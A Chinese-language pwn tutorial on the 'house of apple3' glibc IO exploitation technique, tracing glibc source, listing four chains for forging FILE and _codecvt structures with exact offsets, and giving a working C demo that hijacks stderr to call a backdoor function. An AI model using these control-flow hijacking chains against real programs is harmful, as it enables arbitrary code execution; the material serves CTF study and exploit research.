前言
roderick01师傅的apple链子中的第三种,和apple2相同可以直接获取shell,并且利用起来也很方便。
apple3的利用条件
- 已知
heap
地址和glibc
地址 - 能控制程序执行
IO
操作,包括但不限于:从main
函数返回、调用exit
函数、通过__malloc_assert
触发 - 能控制
_IO_FILE
的vtable
和_codecvt
,一般使用largebin attack
去控制
注意:在利用的时候我们不需要特别关注_wide_data
成员,尽管他们可能会影响某些利用链的分支走向,但是如果我们采用默认的_wide_data
成员(默认会指向_IO_wide_data_2
,除了_wide_vtable
外其他成员均默认为0
),也并不影响house of apple3
的利用。
apple3的利用效果
构造好对应的 IO_file
之后从 main函数
返回,或者调用 exit函数
,就可以获得 shell
apple3的利用原理
在FILE结构体
中有一个成员struct _IO_codecvt *_codecvt;
相对偏移为0x98
该结构用于宽字符的转换工作,该结构体定义如下:
// libio\libio.h:115
struct _IO_codecvt
{
_IO_iconv_t __cd_in;
_IO_iconv_t __cd_out;
};
我们可以看到里面有__cd_in
和__cd_out
两个结构体是同一种类型的数据。
继续往下拆,结构体_IO_iconv_t
被定义为:
// libio\libio.h:51
typedef struct
{
struct __gconv_step *step;
struct __gconv_step_data step_data;
} _IO_iconv_t;
继续往下拆 我是拆弹专家
来看struct __gconv_step
:
// iconv\gconv.h:84
/* Description of a conversion step. */
struct __gconv_step
{
struct __gconv_loaded_object *__shlib_handle;// 关注这个成员
const char *__modname;
/* For internal use by glibc. (Accesses to this member must occur
when the internal __gconv_lock mutex is acquired). */
int __counter;
char *__from_name;
char *__to_name;
__gconv_fct __fct;// 关注这个成员
__gconv_btowc_fct __btowc_fct;
__gconv_init_fct __init_fct;
__gconv_end_fct __end_fct;
/* Information about the number of bytes needed or produced in this
step. This helps optimizing the buffer sizes. */
int __min_needed_from;
int __max_needed_from;
int __min_needed_to;
int __max_needed_to;
/* Flag whether this is a stateful encoding or not. */
int __stateful;
void *__data; /* Pointer to step-local data. */
};
然后来看struct __gconv_step_data
结构体:
/* Additional data for steps in use of conversion descriptor. This is
allocated by the `init' function. */
struct __gconv_step_data
{
unsigned char *__outbuf; /* Output buffer for this step. */
unsigned char *__outbufend; /* Address of first byte after the output
buffer. */
/* Is this the last module in the chain. */
int __flags;
/* Counter for number of invocations of the module function for this
descriptor. */
int __invocation_counter;
/* Flag whether this is an internal use of the module (in the mb*towc*
and wc*tomb* functions) or regular with iconv(3). */
int __internal_use;
__mbstate_t *__statep;
__mbstate_t __state; /* This element must not be used directly by
any module; always use STATEP! */
};
以上两个结构体均会被用于字符转换,而在利用的过程中,需要精准控制结构体中的某些成员,避免引发内存访问错误
house of apple3
的利用主要关注以下三个函数:
__libio_codecvt_out
__libio_codecvt_in
__libio_codecvt_length
三个函数的利用点都差不多
下面以__libio_codecvt_in
为例,源码分析如下:
enum __codecvt_result
__libio_codecvt_in (struct _IO_codecvt *codecvt, __mbstate_t *statep,
const char *from_start, const char *from_end,
const char **from_stop,
wchar_t *to_start, wchar_t *to_end, wchar_t **to_stop)
{
enum __codecvt_result result;
// gs 源自第一个参数
struct __gconv_step *gs = codecvt->__cd_in.step;
int status;
size_t dummy;
const unsigned char *from_start_copy = (unsigned char *) from_start;
codecvt->__cd_in.step_data.__outbuf = (unsigned char *) to_start;
codecvt->__cd_in.step_data.__outbufend = (unsigned char *) to_end;
codecvt->__cd_in.step_data.__statep = statep;
__gconv_fct fct = gs->__fct;
#ifdef PTR_DEMANGLE
// 如果gs->__shlib_handle不为空,则会用__pointer_guard去解密
// 这里如果可控,设置为NULL即可绕过解密
if (gs->__shlib_handle != NULL)
PTR_DEMANGLE (fct);
#endif
// 这里有函数指针调用
// 这个宏就是调用fct(gs, ...)
status = DL_CALL_FCT (fct,
(gs, &codecvt->__cd_in.step_data, &from_start_copy,
(const unsigned char *) from_end, NULL,
&dummy, 0, 0));
// ......
}
其中,__gconv_fct
和DL_CALL_FCT
被定义为:
/* Type of a conversion function. */
typedef int (*__gconv_fct) (struct __gconv_step *, struct __gconv_step_data *,
const unsigned char **, const unsigned char *,
unsigned char **, size_t *, int, int);
#ifndef DL_CALL_FCT
# define DL_CALL_FCT(fct, args) fct args
#endif
而在_IO_wfile_underflow
函数中调用了__libio_codecvt_in
,代码片段如下:
wint_t
_IO_wfile_underflow (FILE *fp)
{
struct _IO_codecvt *cd;
enum __codecvt_result status;
ssize_t count;
/* C99 requires EOF to be "sticky". */
// 不能进入这个分支
if (fp->_flags & _IO_EOF_SEEN)
return WEOF;
// 不能进入这个分支
if (__glibc_unlikely (fp->_flags & _IO_NO_READS))
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
// 不能进入这个分支
if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
return *fp->_wide_data->_IO_read_ptr;
cd = fp->_codecvt;
// 需要进入这个分支
/* Maybe there is something left in the external buffer. */
if (fp->_IO_read_ptr < fp->_IO_read_end)
{
/* There is more in the external. Convert it. */
const char *read_stop = (const char *) fp->_IO_read_ptr;
fp->_wide_data->_IO_last_state = fp->_wide_data->_IO_state;
fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_read_ptr =
fp->_wide_data->_IO_buf_base;
// 需要一路调用到这里
status = __libio_codecvt_in (cd, &fp->_wide_data->_IO_state,
fp->_IO_read_ptr, fp->_IO_read_end,
&read_stop,
fp->_wide_data->_IO_read_ptr,
fp->_wide_data->_IO_buf_end,
&fp->_wide_data->_IO_read_end);
// ......
}
}
而_IO_wfile_underflow
又是_IO_wfile_jumps
这个_IO_jump_t
类型变量的成员函数
总结利用原理如下:
- 劫持或者伪造
FILE
结构体的fp->vtable
为_IO_wfile_jumps
,fp->_codecvt
为可控堆地址 - 当程序执行
IO
操作时,控制程序执行流走到_IO_wfile_underflow
- 设置好
fp->codecvt->__cd_in
结构体,使得最终调用到__libio_codecvt_in
中的DL_CALL_FCT
宏,伪造函数指针,进而控制程序执行流
注意:
在伪造过程中,可以设置gs->__shlib_handle == NULL
,从而绕过__pointer_guard
的指针调用保护
下面是roderick01师傅写的demo用于验证上述思路:
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
void backdoor()
{
printf("\033[31m[!] Backdoor is called!\n");
_exit(0);
}
void main()
{
setbuf(stdout, 0);
setbuf(stdin, 0);
setbuf(stderr, 0);
char *p1 = calloc(0x200, 1);
char *p2 = calloc(0x200, 1);
puts("[*] allocate two 0x200 chunks");
size_t puts_addr = (size_t)&puts;
printf("[*] puts address: %p\n", (void *)puts_addr);
size_t libc_base_addr = puts_addr - 0x84420;
printf("[*] libc base address: %p\n", (void *)libc_base_addr);
size_t _IO_2_1_stderr_addr = libc_base_addr + 0x1ed5c0;
printf("[*] _IO_2_1_stderr_ address: %p\n", (void *)_IO_2_1_stderr_addr);
size_t _IO_wfile_jumps_addr = libc_base_addr + 0x1e8f60;
printf("[*] _IO_wfile_jumps address: %p\n", (void *)_IO_wfile_jumps_addr);
char *stderr2 = (char *)_IO_2_1_stderr_addr;
puts("[+] step 1: set stderr->_flags to ~(4 | 0x10))");
*(size_t *)stderr2 = 0;
puts("[+] step 2: set stderr->_IO_read_ptr < stderr->_IO_read_end");
*(size_t *)(stderr2 + 0x10) = (size_t)-1;
puts("[+] step 3: set stderr->vtable to _IO_wfile_jumps-0x40");
*(size_t *)(stderr2 + 0xd8) = _IO_wfile_jumps_addr-0x40;
puts("[+] step 4: set stderr->codecvt with the allocated chunk p1");
*(size_t *)(stderr2 + 0x98) = (size_t)p1;
puts("[+] step 5: set stderr->codecvt->__cd_in.step with the allocated chunk p2");
*(size_t *)p1 = (size_t)p2;
puts("[+] step 6: put backdoor at stderr->codecvt->__cd_in.step->__fct");
*(size_t *)(p2 + 0x28) = (size_t)(&backdoor);
puts("[+] step 7: call fflush(stderr) to trigger backdoor func");
fflush(stderr);
}
输出结果如下:
[*] allocate two 0x200 chunks
[*] puts address: 0x7f3b2d0a2420
[*] libc base address: 0x7f3b2d01e000
[*] _IO_2_1_stderr_ address: 0x7f3b2d20b5c0
[*] _IO_wfile_jumps address: 0x7f3b2d206f60
[+] step 1: set stderr->_flags to ~(4 | 0x10))
[+] step 2: set stderr->_IO_read_ptr < stderr->_IO_read_end
[+] step 3: set stderr->vtable to _IO_wfile_jumps-0x40
[+] step 4: set stderr->codecvt with the allocated chunk p1
[+] step 5: set stderr->codecvt->__cd_in.step with the allocated chunk p2
[+] step 6: put backdoor at stderr->codecvt->__cd_in.step->__fct
[+] step 7: call fflush(stderr) to trigger backdoor func
[!] Backdoor is called!
这个demo的利用思路如下:
- 修改
stderr->_flags
为0
- 修改
stderr->_IO_read_ptr
和stderr->_IO_read_end
并且要让stderr->_IO_read_ptr
小于stderr->_IO_read_end
(demo中是修改stderr->_IO_read_end
为-1
,因为它是无符号类型,所以-1相当于0xFFFFFFFFFFFFFFFF
是最大的数) - 修改
stderr->vtable
为_IO_wfile_jumps-0x40
(这个偏移需要按照glibc版本来修改,每个glibc版本都有所不同) - 修改
stderr->codecvt(stderr_addr+0x98)
为可控堆地址P1
- 设置
stderr->codecvt->__cd_in.step(P1+0x0)
为可控堆地址P2
,就是让*P1=P2
- 放置
backdoor
在stderr->codecvt->__cd_in.step->__fct(P2+0x28)
- 从
main函数退出
或者调用exit函数
来触发apple3
总结利用思路
roderick01师傅提出的方法不仅仅是上面一种,大致分为下面四种
1.利用_IO_wfile_underflow函数控制程序执行流
对fp
的设置如下:
_flags
设置为~(4 | 0x10)
vtable
设置为_IO_wfile_jumps
地址(加减偏移),使其能成功调用_IO_wfile_underflow
即可fp->_IO_read_ptr < fp->_IO_read_end
,即满足*(fp + 8) < *(fp + 0x10)
_wide_data
保持默认,或者设置为堆地址,假设其地址为A
,即满足*(fp + 0xa0) = A
_wide_data->_IO_read_ptr >= _wide_data->_IO_read_end
,即满足*A >= *(A + 8)
_codecvt
设置为可控堆地址B
,即满足*(fp + 0x98) = B
codecvt->__cd_in.step
设置为可控堆地址C
,即满足*B = C
codecvt->__cd_in.step->__shlib_handle
设置为0
,即满足*C = 0
codecvt->__cd_in.step->__fct
设置为地址D
,地址D
用于控制rip
,即满足*(C + 0x28) = D
。当调用到D
的时候,此时的rdi
为C
。如果_wide_data
也可控的话,rsi
也能控制。
函数的调用链如下:
_IO_wfile_underflow
__libio_codecvt_in
DL_CALL_FCT
gs = fp->_codecvt->__cd_in.step
*(gs->__fct)(gs)
2.利用_IO_wfile_underflow_mmap函数控制程序执行流
对fp
的设置如下:
_flags
设置为~4
vtable
设置为_IO_wfile_jumps_mmap
地址(加减偏移),使其能成功调用_IO_wfile_underflow_mmap
即可_IO_read_ptr < _IO_read_end
,即满足*(fp + 8) < *(fp + 0x10)
_wide_data
保持默认,或者设置为堆地址,假设其地址为A
,即满足*(fp + 0xa0) = A
_wide_data->_IO_read_ptr >= _wide_data->_IO_read_end
,即满足*A >= *(A + 8)
_wide_data->_IO_buf_base
设置为非0
,即满足*(A + 0x30) != 0
_codecvt
设置为可控堆地址B
,即满足*(fp + 0x98) = B
codecvt->__cd_in.step
设置为可控堆地址C
,即满足*B = C
codecvt->__cd_in.step->__shlib_handle
设置为0
,即满足*C = 0
codecvt->__cd_in.step->__fct
设置为地址D
,地址D
用于控制rip
,即满足*(C + 0x28) = D
。当调用到D
的时候,此时的rdi
为C
。如果_wide_data
也可控的话,rsi
也能控制。
函数的调用链如下:
_IO_wfile_underflow_mmap
__libio_codecvt_in
DL_CALL_FCT
gs = fp->_codecvt->__cd_in.step
*(gs->__fct)(gs)
详细分析如下:
看_IO_wfile_underflow_mmap
函数:
static wint_t
_IO_wfile_underflow_mmap (FILE *fp)
{
struct _IO_codecvt *cd;
const char *read_stop;
// 不能进入这个分支
if (__glibc_unlikely (fp->_flags & _IO_NO_READS))
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
// 不能进入这个分支
if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
return *fp->_wide_data->_IO_read_ptr;
cd = fp->_codecvt;
/* Maybe there is something left in the external buffer. */
// 最好不要进入这个分支
if (fp->_IO_read_ptr >= fp->_IO_read_end
/* No. But maybe the read buffer is not fully set up. */
&& _IO_file_underflow_mmap (fp) == EOF)
/* Nothing available. _IO_file_underflow_mmap has set the EOF or error
flags as appropriate. */
return WEOF;
/* There is more in the external. Convert it. */
read_stop = (const char *) fp->_IO_read_ptr;
// 最好不要进入这个分支
if (fp->_wide_data->_IO_buf_base == NULL)
{
/* Maybe we already have a push back pointer. */
if (fp->_wide_data->_IO_save_base != NULL)
{
free (fp->_wide_data->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_wdoallocbuf (fp);// 需要走到这里
}
fp->_wide_data->_IO_last_state = fp->_wide_data->_IO_state;
fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_read_ptr =
fp->_wide_data->_IO_buf_base;
// 需要调用到这里
__libio_codecvt_in (cd, &fp->_wide_data->_IO_state,
fp->_IO_read_ptr, fp->_IO_read_end,
&read_stop,
fp->_wide_data->_IO_read_ptr,
fp->_wide_data->_IO_buf_end,
&fp->_wide_data->_IO_read_end);
//......
}
需要设置fp->_flags & _IO_NO_READS == 0
,设置fp->_wide_data->_IO_read_ptr >= fp->_wide_data->_IO_read_end
,设置fp->_IO_read_ptr < fp->_IO_read_end
不进入调用,设置fp->_wide_data->_IO_buf_base != NULL
不进入调用。
3.利用_IO_wdo_write函数控制程序执行流
_IO_wdo_write
的调用点很多,这里我选择一个相对简单的链:
_IO_new_file_sync
_IO_do_flush
_IO_wdo_write
对fp
的设置如下:
vtable
设置为_IO_file_jumps/
地址(加减偏移),使其能成功调用_IO_new_file_sync
即可_IO_write_ptr > _IO_write_base
,即满足*(fp + 0x28) > *(fp + 0x20)
_mode > 0
,即满足(fp + 0xc0) > 0
_IO_write_end != _IO_write_ptr
或者_IO_write_end == _IO_write_base
,即满足*(fp + 0x30) != *(fp + 0x28)
或者*(fp + 0x30) == *(fp + 0x20)
_wide_data
设置为堆地址,假设地址为A
,即满足*(fp + 0xa0) = A
_wide_data->_IO_write_ptr >= _wide_data->_IO_write_base
,即满足*(A + 0x20) >= *(A + 0x18)
_codecvt
设置为可控堆地址B
,即满足*(fp + 0x98) = B
codecvt->__cd_out.step
设置为可控堆地址C
,即满足*(B + 0x38) = C
codecvt->__cd_out.step->__shlib_handle
设置为0
,即满足*C = 0
codecvt->__cd_out.step->__fct
设置为地址D
,地址D
用于控制rip
,即满足*(C + 0x28) = D
。当调用到D
的时候,此时的rdi
为C
。如果_wide_data
也可控的话,rsi
也能控制。
函数的调用链如下:
_IO_new_file_sync
_IO_do_flush
_IO_wdo_write
__libio_codecvt_out
DL_CALL_FCT
gs = fp->_codecvt->__cd_out.step
*(gs->__fct)(gs)
详细分析如下:
首先看_IO_new_file_sync
函数:
int
_IO_new_file_sync (FILE *fp)
{
ssize_t delta;
int retval = 0;
/* char* ptr = cur_ptr(); */
if (fp->_IO_write_ptr > fp->_IO_write_base)
if (_IO_do_flush(fp)) return EOF;//调用到这里
//......
}
只需要满足fp->_IO_write_ptr > fp->_IO_write_base
。
然后看_IO_do_flush
宏:
#define _IO_do_flush(_f) \
((_f)->_mode <= 0 \
? _IO_do_write(_f, (_f)->_IO_write_base, \
(_f)->_IO_write_ptr-(_f)->_IO_write_base) \
: _IO_wdo_write(_f, (_f)->_wide_data->_IO_write_base, \
((_f)->_wide_data->_IO_write_ptr \
- (_f)->_wide_data->_IO_write_base)))
根据fp->_mode
的值选择调用_IO_do_write
或者_IO_wdo_write
。这里我们要调用后者,必须使fp->_mode > 0
。此时的第二个参数为fp->_wide_data->_IO_write_base
,第三个参数为fp->_wide_data->_IO_write_ptr - fp->_wide_data->_IO_write_base
。
接着看_IO_wdo_write
:
int
_IO_wdo_write (FILE *fp, const wchar_t *data, size_t to_do)
{
struct _IO_codecvt *cc = fp->_codecvt;
// 第三个参数必须要大于0
if (to_do > 0)
{
if (fp->_IO_write_end == fp->_IO_write_ptr
&& fp->_IO_write_end != fp->_IO_write_base)
{// 不能进入这个分支
if (_IO_new_do_write (fp, fp->_IO_write_base,
fp->_IO_write_ptr - fp->_IO_write_base) == EOF)
return WEOF;
}
// ......
/* Now convert from the internal format into the external buffer. */
// 需要调用到这里
result = __libio_codecvt_out (cc, &fp->_wide_data->_IO_state,
data, data + to_do, &new_data,
write_ptr,
buf_end,
&write_ptr);
//......
}
}
首先to_do
必须要大于0
,即满足fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
,然后这个判断需要为假fp->_IO_write_end == fp->_IO_write_ptr && fp->_IO_write_end != fp->_IO_write_base
。
这个链基本需要控制fp->_wide_data
,相比上两条链的约束条件要更多一点。
4.使用_IO_wfile_sync函数控制程序执行流
对fp
的设置如下:
_flags
设置为~(4 | 0x10)
vtable
设置为_IO_wfile_jumps
地址(加减偏移),使其能成功调用_IO_wfile_sync
即可_wide_data
设置为堆地址,假设其地址为A
,即满足*(fp + 0xa0) = A
_wide_data->_IO_write_ptr <= _wide_data->_IO_write_base
,即满足*(A + 0x20) <= *(A + 0x18)
_wide_data->_IO_read_ptr != _wide_data->_IO_read_end
,即满足*A != *(A + 8)
_codecvt
设置为可控堆地址B
,即满足*(fp + 0x98) = B
codecvt->__cd_in.step
设置为可控堆地址C
,即满足*B = C
codecvt->__cd_in.step->__stateful
设置为非0
,即满足*(B + 0x58) != 0
codecvt->__cd_in.step->__shlib_handle
设置为0
,即满足*C = 0
codecvt->__cd_in.step->__fct
设置为地址D
,地址D
用于控制rip
,即满足*(C + 0x28) = D
。当调用到D
的时候,此时的rdi
为C
。如果rsi
为&codecvt->__cd_in.step_data
可控。
函数的调用链如下:
_IO_wfile_sync
__libio_codecvt_length
DL_CALL_FCT
gs = fp->_codecvt->__cd_in.step
*(gs->__fct)(gs)
详细分析如下:
直接看_IO_wfile_sync
函数:
wint_t
_IO_wfile_sync (FILE *fp)
{
ssize_t delta;
wint_t retval = 0;
/* char* ptr = cur_ptr(); */
// 不要进入这个分支
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
if (_IO_do_flush (fp))
return WEOF;
delta = fp->_wide_data->_IO_read_ptr - fp->_wide_data->_IO_read_end;
// 需要进入到这个分支
if (delta != 0)
{
/* We have to find out how many bytes we have to go back in the
external buffer. */
struct _IO_codecvt *cv = fp->_codecvt;
off64_t new_pos;
// 这里直接返回-1即可
int clen = __libio_codecvt_encoding (cv);
if (clen > 0)
/* It is easy, a fixed number of input bytes are used for each
wide character. */
delta *= clen;
else
{
/* We have to find out the hard way how much to back off.
To do this we determine how much input we needed to
generate the wide characters up to the current reading
position. */
int nread;
size_t wnread = (fp->_wide_data->_IO_read_ptr
- fp->_wide_data->_IO_read_base);
fp->_wide_data->_IO_state = fp->_wide_data->_IO_last_state;
// 调用到这里
nread = __libio_codecvt_length (cv, &fp->_wide_data->_IO_state,
fp->_IO_read_base,
fp->_IO_read_end, wnread);
// ......
}
}
}
需要设置fp->_wide_data->_IO_write_ptr <= fp->_wide_data->_IO_write_base
和fp->_wide_data->_IO_read_ptr - fp->_wide_data->_IO_read_end != 0
。
然后看下__libio_codecvt_encoding
函数:
int
__libio_codecvt_encoding (struct _IO_codecvt *codecvt)
{
/* See whether the encoding is stateful. */
if (codecvt->__cd_in.step->__stateful)
return -1;
/* Fortunately not. Now determine the input bytes for the conversion
necessary for each wide character. */
if (codecvt->__cd_in.step->__min_needed_from
!= codecvt->__cd_in.step->__max_needed_from)
/* Not a constant value. */
return 0;
return codecvt->__cd_in.step->__min_needed_from;
}
直接设置fp->codecvt->__cd_in.step->__stateful != 0
即可返回-1
。
参考:
1.[原创]House of apple 一种新的glibc中IO攻击方法 (3)-Pwn-看雪-安全社区|安全招聘|kanxue.com
2.文章 - house of apple3 心得体会 - 先知社区